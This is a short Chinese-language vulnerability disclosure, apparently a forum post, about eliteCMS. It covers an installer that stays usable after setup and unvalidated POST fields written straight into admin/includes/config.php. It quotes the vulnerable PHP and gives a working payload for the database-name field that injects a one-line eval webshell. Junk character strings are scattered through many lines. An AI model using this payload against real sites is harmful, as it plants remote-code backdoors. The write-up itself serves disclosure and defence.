eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

& R0 D/ k$ I& d另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 ?: E* t& L7 m我们来看代码：
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...
elseif ($_GET['step'] == "4") {
. w- @8 E8 @5 d% C3 p" U1 Z) }1 q    $file = "../admin/includes/config.php";
    $write = "<?php\n";
1 l; X$ _" A- s    $write .= "/**\n";
    $write .= "*\n";
; I3 Q0 |; F2 B# @    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
# l) g4 e; l# ]; C" [4 e$ z# Y...略...
    $write .= "*\n";
9 v: U, I' z( F+ d) P    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 b3 l& u. F/ @& \9 F' w    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
' _& \4 h/ q/ H1 G7 C1 C* Q    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
  j8 P7 p  y6 d7 g; O' o    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
% K2 F3 t6 p" x* o4 x) t    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
7 U; E- i# ?1 a6 x7 x4 {3 m1 M    $write .= "if (!\$db_select) {\n";
- P1 ?9 ?# h" ~% w    $write .= "        die(\"Database select failed\" .mysql_error());\n";
7 W8 q3 r* m$ L    $write .= "        \n";
4 M# k4 X' B1 y( W8 L; J    $write .= "} \n";
* ?0 s; E* E- L! [    $write .= "?>\n";

7 i6 ~8 K9 e- x5 @4 k# K, a    $writer = fopen($file, 'w');
1 _8 v3 V7 k" D, `( i  c...

" H/ y3 n8 o8 t3 B4 I0 P2 U; x在看代码：

" [; r( X3 ^/ Q) C6 u2 j3 c$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

) A3 _# j+ i- i9 M+ V7 L, F取值未作任何验证
如果将数据库名POST数据：
' T; E2 Y- T0 G& ^7 m
"?><?php eval($_POST[c]);?><?php
+ D5 R, l+ B. L8 c& K7 R
将导致一句话后门写入/admin/includes/config.php
, Z+ D% ~& k) h